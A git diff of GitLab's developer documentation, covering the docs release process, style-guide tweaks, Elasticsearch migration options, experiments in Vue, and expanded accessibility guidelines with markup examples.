- should have the current milestone with `-pre` appended to it, for example `13.10-pre`.
-
-Each documentation release:
-
-- Has a dedicated branch, named in the format `XX.yy`.
-- Has a Docker image that contains a build of that branch.
-
-For example:
-
-- For [GitLab 13.9](https://docs.gitlab.com/13.9/index.html), the
- [stable branch](https://gitlab.com/gitlab-org/gitlab-docs/-/tree/13.9) and Docker image:
- [`registry.gitlab.com/gitlab-org/gitlab-docs:13.9`](https://gitlab.com/gitlab-org/gitlab-docs/container_registry/631635).
-- For [GitLab 13.8](https://docs.gitlab.com/13.8/index.html), the
- [stable branch](https://gitlab.com/gitlab-org/gitlab-docs/-/tree/13.8) and Docker image:
- [`registry.gitlab.com/gitlab-org/gitlab-docs:13.8`](https://gitlab.com/gitlab-org/gitlab-docs/container_registry/631635).
-
-To set up a documentation release, follow these steps:
-
-1. [Add the charts version](#add-chart-version), so that the documentation is built using the
- [version of the charts project that maps to](https://docs.gitlab.com/charts/installation/version_mappings.html)
- the GitLab release. This step may have been completed already.
-1. [Create a stable branch and Docker image](#create-stable-branch-and-docker-image-for-release) for
- the new version.
-1. [Create a release merge request](#create-release-merge-request) for the new version, which
- updates the version dropdown menu for the current documentation and adds the release to the
- Docker configuration. For example, the
- [release merge request for 13.9](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1555).
-1. [Update the three online versions](#update-dropdown-for-online-versions), so that they display the new release on their
- version dropdown menus. For example:
- - The merge request to [update the 13.9 version dropdown menu for the 13.9 release](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1556).
- - The merge request to [update the 13.8 version dropdown menu for the 13.9 release](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1557).
- - The merge request to [update the 13.7 version dropdown menu for the 13.9 release](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1558).
-1. [Merge the release merge request and run the necessary Docker image builds](#merge-release-merge-request-and-run-docker-image-builds).
-
-## Add chart version
-
-To add a new charts version for the release:
-
-1. Make sure you're in the root path of the `gitlab-docs` repository.
-1. Open `content/_data/chart_versions.yaml` and add the new stable branch version using the
- [version mapping](https://docs.gitlab.com/charts/installation/version_mappings.html). Only the
- `major.minor` version is needed.
-1. Create a new merge request and merge it.
-
-NOTE:
-If you have time, add anticipated future mappings to `content/_data/chart_versions.yaml`. This saves
-a step for the next GitLab release.
-
-## Create stable branch and Docker image for release
-
-To create a stable branch and Docker image for the release:
-
-1. Make sure you're in the root path of the `gitlab-docs` repository.
-1. Run the Rake task to create the single version. For example, to create the 13.9 release branch
- and perform others tasks:
-
- ```shell
- ./bin/rake "release:single[13.9]"
- ```
-
- A branch for the release is created, a new `Dockerfile.13.9` is created, and `.gitlab-ci.yml`
- has branches variables updated into a new branch. These files are automatically committed.
-
-1. Push the newly created branch, but **don't create a merge request**. After you push, the
- `image:docs-single` job creates a new Docker image tagged with the name of the branch you created
- earlier. You can see the Docker image in the `registry` environment at
- <https://gitlab.com/gitlab-org/gitlab-docs/-/environments/folders/registry>.
-
-For example, see [the 13.9 release pipeline](https://gitlab.com/gitlab-org/gitlab-docs/-/pipelines/260288747).
-
-Optionally, you can test locally by:
-
-1. Building the image and running it. For example, for GitLab 13.9 documentation:
-
- ```shell
- docker build -t docs:13.9 -f Dockerfile.13.9 .
- docker run -it --rm -p 4000:4000 docs:13.9
- ```
-
-1. Visiting <http://localhost:4000/13.9/> to see if everything works correctly.
-
-## Create release merge request
-
-NOTE:
-An [epic is open](https://gitlab.com/groups/gitlab-org/-/epics/4361) to automate this step.
-
-To create the release merge request for the release:
-
-1. Make sure you're in the root path of the `gitlab-docs` repository.
-1. Create a branch `release-X-Y`. For example:
-
- ```shell
- git checkout master
- git checkout -b release-13-9
- ```
-
-1. Edit `content/_data/versions.yaml` and update the lists of versions to reflect the new release:
-
- - Add the latest version to the `online:` section.
- - Move the oldest version in `online:` to the `offline:` section. There should now be three
- versions in `online:`.
-
-1. Update these Dockerfiles:
-
- - `dockerfiles/Dockerfile.archives`: Add the latest version to the top of the list.
- - `Dockerfile.master`: Remove the oldest version, and add the newest version to the
- top of the list.
-
-1. Commit and push to create the merge request. For example:
-
- ```shell
- git add content/ Dockerfile.master dockerfiles/Dockerfile.archives
- git commit -m "Release 13.9"
- git push origin release-13-9
- ```
-
-Do not merge the release merge request yet.
-
-## Update dropdown for online versions
-
-To update`content/_data/versions.yaml` for all online versions (stable branches `X.Y` of the
-`gitlab-docs` project):
-
-1. Run the Rake task that creates all of the necessary merge requests to update the dropdowns. For
- example, for the 13.9 release:
-
- ```shell
- git checkout release-13-9
- ./bin/rake release:dropdowns
- ```
-
- These merge requests are set to automatically merge.
-
-1. [Visit the merge requests page](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests?label_name%5B%5D=release)
- to check that their pipelines pass. After all MRs are merged, proceed to the following and final
- step.
-
-## Merge release merge request and run Docker image builds
-
-The merge requests for the dropdowns should now all be merged into their respective stable branches.
-Each merge triggers a new pipeline for each stable branch. Wait for the stable branch pipelines to
-complete, then:
-
-1. Check the [pipelines page](https://gitlab.com/gitlab-org/gitlab-docs/pipelines)
- and make sure all stable branches have green pipelines.
-1. After all the pipelines succeed, merge the [release merge request](#create-release-merge-request).
-1. Finally, run the
- [`Build docker images weekly` pipeline](https://gitlab.com/gitlab-org/gitlab-docs/pipeline_schedules)
- that builds the `:latest` and `:archives` Docker images.
-
-As the last step in the scheduled pipeline, the documentation site deploys with all new versions.
+<!-- This redirect file can be deleted after <2021-07-12>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md
index 65949d5b5f5..33bfc040bb6 100644
--- a/doc/development/documentation/structure.md
+++ b/doc/development/documentation/structure.md
@@ -52,9 +52,9 @@ A concept should answer the questions:
- What is this?
- Why would I use it?
-Think of everything someone might want to know if they’ve never heard of this topic before.
+Think of everything someone might want to know if they've never heard of this topic before.
-Don’t tell them **how** to do this thing. Tell them **what it is**.
+Don't tell them **how** to do this thing. Tell them **what it is**.
If you start describing another topic, start a new concept and link to it.
@@ -113,7 +113,7 @@ To create an issue:
1. Go to **Issues > List**.
1. In the top right, click **New issue**.
1. Complete the fields. (If you have a reference topic that lists each field, link to it here.)
-1. Click **Submit issue**.
+1. Click **Create issue**.
The issue is created. You can view it by going to **Issues > List**.
```
@@ -153,6 +153,14 @@ This issue occurs when...
The workaround is...
```
+For the topic title:
+
+- Consider including at least a partial error message in the title.
+- Use fewer than 70 characters.
+
+Remember to include the complete error message in the topics content if it is
+not complete in the title.
+
## Other information on a topic
Topics include other information.
diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md
index 4831e5bbce5..25cdbaf75ba 100644
--- a/doc/development/documentation/styleguide/index.md
+++ b/doc/development/documentation/styleguide/index.md
@@ -608,7 +608,7 @@ Follow these guidelines for punctuation:
| Do not use tabs for indentation. Use spaces instead. You can configure your code editor to output spaces instead of tabs when pressing the tab key. | --- |
| Use serial commas (_Oxford commas_) before the final _and_ or _or_ in a list of three or more items. (Tested in [`OxfordComma.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/OxfordComma.yml).) | _You can create new issues, merge requests, and milestones._ |
| Always add a space before and after dashes when using it in a sentence (for replacing a comma, for example). | _You should try this - or not._ |
-| Always use lowercase after a colon. | _Related Issues: a way to create a relationship between issues._ |
+| Always use lowercase after a colon. | Linked issues: a way to create a relationship between issues._ |
<!-- vale gitlab.Repetition = YES -->
diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md
index eed544911cb..aee3144e6de 100644
--- a/doc/development/documentation/testing.md
+++ b/doc/development/documentation/testing.md
@@ -166,7 +166,7 @@ You can use markdownlint:
### Vale
-[Vale](https://errata-ai.gitbook.io/vale/) is a grammar, style, and word usage linter for the
+[Vale](https://docs.errata.ai/vale/about/) is a grammar, style, and word usage linter for the
English language. Vale's configuration is stored in the
[`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/blob/master/.vale.ini) file located in the root
directory of projects.
@@ -188,7 +188,7 @@ This configuration is also used in build pipelines, where
You can use Vale:
-- [On the command line](https://errata-ai.gitbook.io/vale/getting-started/usage).
+- [On the command line](https://docs.errata.ai/vale/cli).
- [In a code editor](#configure-editors).
- [In a Git hook](#configure-pre-push-hooks). Vale only reports errors in the Git hook (the same
configuration as the CI/CD pipelines), and does not report suggestions or warnings.
@@ -333,4 +333,4 @@ document:
Whenever possible, exclude only the problematic rule and line(s).
For more information, see
-[Vale's documentation](https://errata-ai.gitbook.io/vale/getting-started/markup#markup-based-configuration).
+[Vale's documentation](https://docs.errata.ai/vale/scoping#markup-based-configuration).
diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md
index 81014b7624c..35e7824721a 100644
--- a/doc/development/ee_features.md
+++ b/doc/development/ee_features.md
@@ -23,6 +23,8 @@ when no license is active. So EE features always should be guarded by
`project.feature_available?` or `group.feature_available?` (or
`License.feature_available?` if it is a system-wide feature).
+Frontend features should be guarded by pushing a flag from the backend by [using `push_licensed_feature`](licensed_feature_availability.md#restricting-frontend-features), and checked using `this.glFeatures.someFeature` in the frontend.
+
CE specs should remain untouched as much as possible and extra specs
should be added for EE. Licensed features can be stubbed using the
spec helper `stub_licensed_features` in `EE::LicenseHelpers`.
diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md
index 3f14ca454fe..705a69765f7 100644
--- a/doc/development/elasticsearch.md
+++ b/doc/development/elasticsearch.md
@@ -198,7 +198,10 @@ filename format, which is similar to Rails database migrations:
# frozen_string_literal: true
class MigrationName < Elastic::Migration
- # Important: Any update to the Elastic index mappings should be replicated in Elastic::Latest::Config
+ # Important: Any updates to the Elastic index mappings must be replicated in the respective
+ # configuration files:
+ # - `Elastic::Latest::Config`, for the main index.
+ # - `Elastic::Latest::<Type>Config`, for standalone indices.
def migrate
end
@@ -214,7 +217,10 @@ Applied migrations are stored in `gitlab-#{RAILS_ENV}-migrations` index. All mig
are applied by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb)
cron worker sequentially.
-Any update to the Elastic index mappings should be replicated in [`Elastic::Latest::Config`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/elastic/latest/config.rb).
+To update Elastic index mappings, apply the configuration to the respective files:
+
+- For the main index: [`Elastic::Latest::Config`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/elastic/latest/config.rb).
+- For standalone indices: `Elastic::Latest::<Type>Config`.
Migrations can be built with a retry limit and have the ability to be [failed and marked as halted](https://gitlab.com/gitlab-org/gitlab/-/blob/66e899b6637372a4faf61cfd2f254cbdd2fb9f6d/ee/lib/elastic/migration.rb#L40).
Any data or index cleanup needed to support migration retries should be handled within the migration.
@@ -235,6 +241,10 @@ cron worker runs. Default value is 5 minutes.
- `pause_indexing!` - Pause indexing while the migration runs. This setting will record the indexing setting before
the migration runs and set it back to that value when the migration is completed.
+- `space_requirements!` - Verify that enough free space is available in the cluster when the migration runs. This setting
+ will halt the migration if the storage required is not available when the migration runs. The migration must provide
+ the space required in bytes by defining a `space_required_bytes` method.
+
```ruby
# frozen_string_literal: true
@@ -242,7 +252,9 @@ class BatchedMigrationName < Elastic::Migration
# Declares a migration should be run in batches
batched!
throttle_delay 10.minutes
-
+ pause_indexing!
+ space_requirements!
+
# ...
end
```
diff --git a/doc/development/emails.md b/doc/development/emails.md
index 1de1da33dc2..3e651a6efb8 100644
--- a/doc/development/emails.md
+++ b/doc/development/emails.md
@@ -54,9 +54,12 @@ See the [Rails guides](https://guides.rubyonrails.org/action_mailer_basics.html#
incoming_email:
enabled: true
- # The email address including the %{key} placeholder that will be replaced to reference the item being replied to. This %{key} should be included in its entirety within the email address and not replaced by another value.
- # For example: emailadress+%key@gmail.com.
- # The placeholder can be omitted but if present, it must appear in the "user" part of the address (before the `@`).
+ # The email address including the %{key} placeholder that will be replaced to reference the
+ # item being replied to. This %{key} should be included in its entirety within the email
+ # address and not replaced by another value.
+ # For example: emailadress+%{key}@gmail.com.
+ # The placeholder must appear in the "user" part of the address (before the `@`). It can be omitted but some features,
+ # including Service Desk, may not work properly.
address: "gitlab-incoming+%{key}@gmail.com"
# Email account username
diff --git a/doc/development/experiment_guide/gitlab_experiment.md b/doc/development/experiment_guide/gitlab_experiment.md
index 6b15449b812..4b93105ea50 100644
--- a/doc/development/experiment_guide/gitlab_experiment.md
+++ b/doc/development/experiment_guide/gitlab_experiment.md
@@ -17,8 +17,8 @@ You're strongly encouraged to read and understand the
[Feature flags in development of GitLab](../feature_flags/index.md) portion of the
documentation before considering running experiments. Experiments add additional
concepts which may seem confusing or advanced without understanding the underpinnings
-of how GitLab uses feature flags in development. One concept: GLEX supports multivariate
-experiments, which are sometimes referred to as A/B/n tests.
+of how GitLab uses feature flags in development. One concept: GLEX supports
+experiments with multiple variants, which are sometimes referred to as A/B/n tests.
The [`gitlab-experiment` project](https://gitlab.com/gitlab-org/gitlab-experiment)
exists in a separate repository, so it can be shared across any GitLab property that uses
@@ -49,7 +49,7 @@ graph TD
Running? -->|No| Excluded[Control / No Tracking]
Cached? -->|No| Excluded?
Cached? -->|Yes| Cached[Cached Value]
- Excluded? -->|Yes / Cached| Excluded
+ Excluded? -->|Yes| Excluded
Excluded? -->|No| Segmented?
Segmented? -->|Yes / Cached| VariantA
Segmented? -->|No| Included?[Experiment Group?]
@@ -92,7 +92,7 @@ end
```
When this code executes, the experiment is run, a variant is assigned, and (if within a
-controller or view) a `window.gon.experiment.pillColor` object will be available in the
+controller or view) a `window.gon.experiment.pill_color` object will be available in the
client layer, with details like:
- The assigned variant.
@@ -367,7 +367,7 @@ about contexts now.
We can assume we run the experiment in one or a few places, but
track events potentially in many places. The tracking call remains the same, with
the arguments you would normally use when
-[tracking events using snowplow](../snowplow.md). The easiest example
+[tracking events using snowplow](../snowplow/index.md). The easiest example
of tracking an event in Ruby would be:
```ruby
@@ -501,6 +501,69 @@ Any experiment that's been run in the request lifecycle surfaces in `window.gon.
and matches [this schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_experiment/jsonschema/1-0-0)
so you can use it when resolving some concepts around experimentation in the client layer.
+### Use experiments in Vue
+
+With the `experiment` component, you can define slots that match the name of the
+variants pushed to `window.gon.experiment`. For example, if we alter the `pill_color`
+experiment to just use the default variants of `control` and `candidate` like so:
+
+```ruby
+def show
+ experiment(:pill_color) do |e|
+ e.use { } # control
+ e.try { } # candidate
+ end.run
+end
+```
+
+We can make use of the named slots `control` and `candidate` in the Vue component:
+
+```vue
+<script>
+import Experiment from '~/experimentation/components/experiment.vue';
+
+export default {
+ components: { Experiment }
+}
+</script>
+
+<template>
+ <experiment name="pill_color">
+ <template #control>
+ <button class="bg-default">Click default button</button>
+ </template>
+
+ <template #candidate>
+ <button class="bg-red">Click red button</button>
+ </template>
+ </experiment>
+</template>
+```
+
+When you're coding for an experiment with multiple variants, you can use the variant names.
+For example, the Vue component for the previously-defined `pill_color` experiment with `red` and `blue` variants would look like this:
+
+```vue
+<template>
+ <experiment name="pill_color">
+ <template #control>
+ <button class="bg-default">Click default button</button>
+ </template>
+
+ <template #red>
+ <button class="bg-red">Click red button</button>
+ </template>
+
+ <template #blue>
+ <button class="bg-blue">Click blue button</button>
+ </template>
+ </experiment>
+</template>
+```
+
+NOTE:
+When there is no experiment data in the `window.gon.experiment` object for the given experiment name, the `control` slot will be used, if it exists.
+
## Notes on feature flags
NOTE:
@@ -525,7 +588,7 @@ Conditional means that it returns `true` in some situations, but not all situati
When a feature flag is disabled (meaning the state is `off`), the experiment is
considered _inactive_. You can visualize this in the [decision tree diagram](#how-it-works)
-as reaching the first [Running?] node, and traversing the negative path.
+as reaching the first `Running?` node, and traversing the negative path.
When a feature flag is rolled out to a `percentage_of_actors` or similar (meaning the
state is `conditional`) the experiment is considered to be _running_
diff --git a/doc/development/fe_guide/accessibility.md b/doc/development/fe_guide/accessibility.md
index 5f22c13ca06..ab1325c67a9 100644
--- a/doc/development/fe_guide/accessibility.md
+++ b/doc/development/fe_guide/accessibility.md
@@ -15,39 +15,264 @@ This page contains guidelines we should follow.
Since [no ARIA is better than bad ARIA](https://www.w3.org/TR/wai-aria-practices/#no_aria_better_bad_aria),
review the following recommendations before using `aria-*`, `role`, and `tabindex`.
-Use semantic HTML, which typically has accessibility semantics baked in, but always be sure to test with
+Use semantic HTML, which has accessibility semantics baked in, and ideally test with
[relevant combinations of screen readers and browsers](https://www.accessibility-developer-guide.com/knowledge/screen-readers/relevant-combinations/).
In [WebAIM's accessibility analysis of the top million home pages](https://webaim.org/projects/million/#aria),
they found that "ARIA correlated to higher detectable errors".
It is likely that *misuse* of ARIA is a big cause of increased errors,
-so when in doubt don't use `aria-*`, `role`, and `tabindex`, and stick with semantic HTML.
-
-## Provide accessible names to screen readers
+so when in doubt don't use `aria-*`, `role`, and `tabindex` and stick with semantic HTML.
+
+## Quick checklist
+
+- [Text](#text-inputs-with-accessible-names),
+ [select](#select-inputs-with-accessible-names),
+ [checkbox](#checkbox-inputs-with-accessible-names),
+ [radio](#radio-inputs-with-accessible-names),
+ [file](#file-inputs-with-accessible-names),
+ and [toggle](#gltoggle-components-with-an-accessible-names) inputs have accessible names.
+- [Buttons](#buttons-and-links-with-descriptive-accessible-names),
+ [links](#buttons-and-links-with-descriptive-accessible-names),
+ and [images](#images-with-accessible-names) have descriptive accessible names.
+- Icons
+ - [Non-decorative icons](#icons-that-convey-information) have an `aria-label`.
+ - [Clickable icons](#icons-that-are-clickable) are buttons, that is, `<gl-button icon="close" />` is used and not `<gl-icon />`.
+ - Icon-only buttons have an `aria-label`.
+- Interactive elements can be [accessed with the Tab key](#support-keyboard-only-use) and have a visible focus state.
+- Are any `role`, `tabindex` or `aria-*` attributes unnecessary?
+- Can any `div` or `span` elements be replaced with a more semantic [HTML element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element) like `p`, `button`, or `time`?
+
+## Provide accessible names for screen readers
To provide markup with accessible names, ensure every:
- `input` has an associated `label`.
-- `button` and `a` have child text, or `aria-label` when text isn’t present.
- For example, an icon button with no visible text.
+- `button` and `a` have child text, or `aria-label` when child text isn't present, such as for an icon button with no content.
- `img` has an `alt` attribute.
- `fieldset` has `legend` as its first child.
- `figure` has `figcaption` as its first child.
- `table` has `caption` as its first child.
+Groups of checkboxes and radio inputs should be grouped together in a `fieldset` with a `legend`.
+`legend` gives the group of checkboxes and radio inputs a label.
+
If the `label`, child text, or child element is not visually desired,
use `.gl-sr-only` to hide the element from everything but screen readers.
-Ensure the accessible name is descriptive enough to be understood in isolation.
+### Examples of providing accessible names
+
+The following subsections contain examples of markup that render HTML elements with accessible names.
+
+Note that [when using `GlFormGroup`](https://bootstrap-vue.org/docs/components/form-group#accessibility):
+
+- Passing only a `label` prop renders a `fieldset` with a `legend` containing the `label` value.
+- Passing both a `label` and a `label-for` prop renders a `label` that points to the form input with the same `label-for` ID.
+
+#### Text inputs with accessible names
+
+When using `GlFormGroup`, the `label` prop alone does not give the input an accessible name.
+The `label-for` prop must also be provided to give the input an accessible name.
+
+Text input examples:
+
+```html
+<!-- Input with label -->
+<gl-form-group :label="__('Issue title')" label-for="issue-title">
+ <gl-form-input id="issue-title" v-model="title" name="title" />
+</gl-form-group>
+
+<!-- Input with hidden label -->
+<gl-form-group :label="__('Issue title')" label-for="issue-title" :label-sr-only="true">
+ <gl-form-input id="issue-title" v-model="title" name="title" />
+</gl-form-group>
+```
+
+Textarea examples:
+
+```html
+<!-- Textarea with label -->
+<gl-form-group :label="__('Issue description')" label-for="issue-description">
+ <gl-form-textarea id="issue-description" v-model="description" name="description" />
+</gl-form-group>
+
+<!-- Textarea with hidden label -->
+<gl-form-group :label="__('Issue description')" label-for="issue-description" :label-sr-only="true">
+ <gl-form-textarea id="issue-description" v-model="description" name="description" />
+</gl-form-group>
+```
+
+Alternatively, you can use a plain `label` element:
+
+```html
+<!-- Input with label using `label` -->
+<label for="issue-title">{{ __('Issue title') }}</label>
+<gl-form-input id="issue-title" v-model="title" name="title" />
+
+<!-- Input with hidden label using `label` -->
+<label for="issue-title" class="gl-sr-only">{{ __('Issue title') }}</label>
+<gl-form-input id="issue-title" v-model="title" name="title" />
+```
+
+#### Select inputs with accessible names
+
+Select input examples:
+
+```html
+<!-- Select input with label -->
+<gl-form-group :label="__('Issue status')" label-for="issue-status">
+ <gl-form-select id="issue-status" v-model="status" name="status" :options="options" />
+</gl-form-group>
+
+<!-- Select input with hidden label -->
+<gl-form-group :label="__('Issue status')" label-for="issue-status" :label-sr-only="true">
+ <gl-form-select id="issue-status" v-model="status" name="status" :options="options" />
+</gl-form-group>
+```
+
+#### Checkbox inputs with accessible names
+
+Single checkbox:
+
+```html
+<!-- Single checkbox with label -->
+<gl-form-checkbox v-model="status" name="status" value="task-complete">
+ {{ __('Task complete') }}
+</gl-form-checkbox>
+
+<!-- Single checkbox with hidden label -->
+<gl-form-checkbox v-model="status" name="status" value="task-complete">
+ <span class="gl-sr-only">{{ __('Task complete') }}</span>
+</gl-form-checkbox>
+```
+
+Multiple checkboxes:
+
+```html
+<!-- Multiple labeled checkboxes grouped within a fieldset -->
+<gl-form-group :label="__('Task list')">
+ <gl-form-checkbox name="task-list" value="task-1">{{ __('Task 1') }}</gl-form-checkbox>
+ <gl-form-checkbox name="task-list" value="task-2">{{ __('Task 2') }}</gl-form-checkbox>
+</gl-form-group>
+
+<!-- Or -->
+<gl-form-group :label="__('Task list')">
+ <gl-form-checkbox-group v-model="selected" :options="options" name="task-list" />
+</gl-form-group>
+
+<!-- Multiple labeled checkboxes grouped within a fieldset with hidden legend -->
+<gl-form-group :label="__('Task list')" :label-sr-only="true">
+ <gl-form-checkbox name="task-list" value="task-1">{{ __('Task 1') }}</gl-form-checkbox>
+ <gl-form-checkbox name="task-list" value="task-2">{{ __('Task 2') }}</gl-form-checkbox>
+</gl-form-group>
+
+<!-- Or -->
+<gl-form-group :label="__('Task list')" :label-sr-only="true">
+ <gl-form-checkbox-group v-model="selected" :options="options" name="task-list" />
+</gl-form-group>
+```
+
+#### Radio inputs with accessible names
+
+Single radio input:
+
+```html
+<!-- Single radio with a label -->
+<gl-form-radio v-model="status" name="status" value="opened">
+ {{ __('Opened') }}
+</gl-form-radio>
+
+<!-- Single radio with a hidden label -->
+<gl-form-radio v-model="status" name="status" value="opened">
+ <span class="gl-sr-only">{{ __('Opened') }}</span>
+</gl-form-radio>
+```
+
+Multiple radio inputs:
+
+```html
+<!-- Multiple labeled radio inputs grouped within a fieldset -->
+<gl-form-group :label="__('Issue status')">
+ <gl-form-radio name="status" value="opened">{{ __('Opened') }}</gl-form-radio>
+ <gl-form-radio name="status" value="closed">{{ __('Closed') }}</gl-form-radio>
+</gl-form-group>
+
+<!-- Or -->
+<gl-form-group :label="__('Issue status')">
+ <gl-form-radio-group v-model="selected" :options="options" name="status" />
+</gl-form-group>
+
+<!-- Multiple labeled radio inputs grouped within a fieldset with hidden legend -->
+<gl-form-group :label="__('Issue status')" :label-sr-only="true">
+ <gl-form-radio name="status" value="opened">{{ __('Opened') }}</gl-form-radio>
+ <gl-form-radio name="status" value="closed">{{ __('Closed') }}</gl-form-radio>
+</gl-form-group>
+
+<!-- Or -->
+<gl-form-group :label="__('Issue status')" :label-sr-only="true">
+ <gl-form-radio-group v-model="selected" :options="options" name="status" />
+</gl-form-group>
+```
+
+#### File inputs with accessible names
+
+File input examples:
+
+```html
+<!-- File input with a label -->
+<label for="attach-file">{{ __('Attach a file') }}</label>
+<input id="attach-file" type="file" name="attach-file" />
+
+<!-- File input with a hidden label -->
+<label for="attach-file" class="gl-sr-only">{{ __('Attach a file') }}</label>
+<input id="attach-file" type="file" name="attach-file" />
+```
+
+#### GlToggle components with an accessible names
+
+`GlToggle` examples:
```html
-// bad
-<button>Submit</button>
-<a href="url">page</a>
+<!-- GlToggle with label -->
+<gl-toggle v-model="notifications" :label="__('Notifications')" />
-// good
-<button>Submit review</button>
-<a href="url">GitLab's accessibility page</a>
+<!-- GlToggle with hidden label -->
+<gl-toggle v-model="notifications" :label="__('Notifications')" label-position="hidden" />
+```
+
+#### GlFormCombobox components with an accessible names
+
+`GlFormCombobox` examples:
+
+```html
+<!-- GlFormCombobox with label -->
+<gl-form-combobox :label-text="__('Key')" :token-list="$options.tokenList" />
+```
+
+#### Images with accessible names
+
+Image examples:
+
+```html
+<img :src="imagePath" :alt="__('A description of the image')" />
+
+<!-- SVGs implicitly have a graphics role so if it is semantically an image we should apply `role="img"` -->
+<svg role="img" :alt="__('A description of the image')" />
+```
+
+#### Buttons and links with descriptive accessible names
+
+Buttons and links should have accessible names that are descriptive enough to be understood in isolation.
+
+```html
+<!-- bad -->
+<gl-button @click="handleClick">{{ __('Submit') }}</gl-button>
+
+<gl-link :href="url">{{ __('page') }}</gl-link>
+
+<!-- good -->
+<gl-button @click="handleClick">{{ __('Submit review') }}</gl-button>
+
+<gl-link :href="url">{{ __("GitLab's accessibility page") }}</gl-link>
```
## Role
@@ -81,31 +306,37 @@ element is interactive you must ensure:
Use semantic HTML, such as `a` and `button`, which provides these behaviours by default.
+Keep in mind that:
+
+- <kbd>Tab</kbd> and <kbd>Shift-Tab</kbd> should only move between interactive elements, not static content.
+- When you add `:hover` styles, in most cases you should add `:focus` styles too so that the styling is applied for both mouse **and** keyboard users.
+- If you remove an interactive element's `outline`, make sure you maintain visual focus state in another way such as with `box-shadow`.
+
See the [Pajamas Keyboard-only page](https://design.gitlab.com/accessibility-audits/2-keyboard-only/) for more detail.
## Tabindex
Prefer **no** `tabindex` to using `tabindex`, since:
-- Using semantic HTML such as `button` implicitly provides `tabindex="0"`
-- Tabbing order should match the visual reading order and positive `tabindex`s interfere with this
+- Using semantic HTML such as `button` implicitly provides `tabindex="0"`.
+- Tabbing order should match the visual reading order and positive `tabindex`s interfere with this.
### Avoid using `tabindex="0"` to make an element interactive
-Use interactive elements instead of `div`s and `span`s.
+Use interactive elements instead of `div` and `span` tags.
For example:
-- If the element should be clickable, use a `button`
-- If the element should be text editable, use an `input` or `textarea`
+- If the element should be clickable, use a `button`.
+- If the element should be text editable, use an `input` or `textarea`.
Once the markup is semantically complete, use CSS to update it to its desired visual state.
```html
-// bad
+<!-- bad -->
<div role="button" tabindex="0" @click="expand">Expand</div>
-// good
-<button @click="expand">Expand</button>
+<!-- good -->
+<gl-button @click="expand">Expand</gl-button>
```
### Do not use `tabindex="0"` on interactive elements
@@ -113,13 +344,13 @@ Once the markup is semantically complete, use CSS to update it to its desired vi
Interactive elements are already tab accessible so adding `tabindex` is redundant.
```html
-// bad
-<a href="help" tabindex="0">Help</a>
-<button tabindex="0">Submit</button>
+<!-- bad -->
+<gl-link href="help" tabindex="0">Help</gl-link>
+<gl-button tabindex="0">Submit</gl-button>
-// good
-<a href="help">Help</a>
-<button>Submit</button>
+<!-- good -->
+<gl-link href="help">Help</gl-link>
+<gl-button>Submit</gl-button>
```
### Do not use `tabindex="0"` on elements for screen readers to read
@@ -129,10 +360,10 @@ The use of `tabindex="0"` is unnecessary and can cause problems,
as screen reader users then expect to be able to interact with it.
```html
-// bad
-<span tabindex="0" :aria-label="message">{{ message }}</span>
+<!-- bad -->
+<p tabindex="0" :aria-label="message">{{ message }}</p>
-// good
+<!-- good -->
<p>{{ message }}</p>
```
@@ -141,6 +372,57 @@ as screen reader users then expect to be able to interact with it.
[Always avoid using `tabindex="1"`](https://webaim.org/techniques/keyboard/tabindex#overview)
or greater.
+## Icons
+
+Icons can be split into three different types:
+
+- Icons that are decorative
+- Icons that convey meaning
+- Icons that are clickable
+
+### Icons that are decorative
+
+Icons are decorative when there's no loss of information to the user when they are removed from the UI.
+
+As the majority of icons within GitLab are decorative, `GlIcon` automatically hides its rendered icons from screen readers.
+Therefore, you do not need to add `aria-hidden="true"` to `GlIcon`, as this is redundant.
+
+```html
+<!-- unnecessary — gl-icon hides icons from screen readers by default -->
+<gl-icon name="rocket" aria-hidden="true" />`
+
+<!-- good -->
+<gl-icon name="rocket" />`
+```
+
+### Icons that convey information
+
+Icons convey information if there is loss of information to the user when they are removed from the UI.
+
+An example is a confidential icon that conveys the issue is confidential, and does not have the text "Confidential" next to it.
+
+Icons that convey information must have an accessible name so that the information is conveyed to screen reader users too.
+
+```html
+<!-- bad -->
+<gl-icon name="eye-slash" />`
+
+<!-- good -->
+<gl-icon name="eye-slash" :aria-label="__('Confidential issue')" />`
+```
+
+### Icons that are clickable
+
+Icons that are clickable are semantically buttons, so they should be rendered as buttons, with an accessible name.
+
+```html
+<!-- bad -->
+<gl-icon name="close" :aria-label="__('Close')" @click="handleClick" />
+
+<!-- good -->
+<gl-button icon="close" category="tertiary" :aria-label="__('Close')" @click="handleClick" />
+```
+
## Hiding elements
Use the following table to hide elements from users, when appropriate.
@@ -158,22 +440,24 @@ If the image is not an `img` element, such as an inline SVG, you can hide it by
unnecessary when using `gl-icon`.
```html
-// good - decorative images hidden from screen readers
+<!-- good - decorative images hidden from screen readers -->
+
<img src="decorative.jpg" alt="">
-<svg role="img" alt="">
-<gl-icon name="epic"/>
+
+<svg role="img" alt="" />
+
+<gl-icon name="epic" />
```
-## When should ARIA be used
+## When to use ARIA
-No ARIA is required when using semantic HTML because it incorporates accessibility.
+No ARIA is required when using semantic HTML, because it already incorporates accessibility.
-However, there are some UI patterns and widgets that do not have semantic HTML equivalents.
+However, there are some UI patterns that do not have semantic HTML equivalents.
+General examples of these are dialogs (modals) and tabs.
+GitLab-specific examples are assignee and label dropdowns.
Building such widgets require ARIA to make them understandable to screen readers.
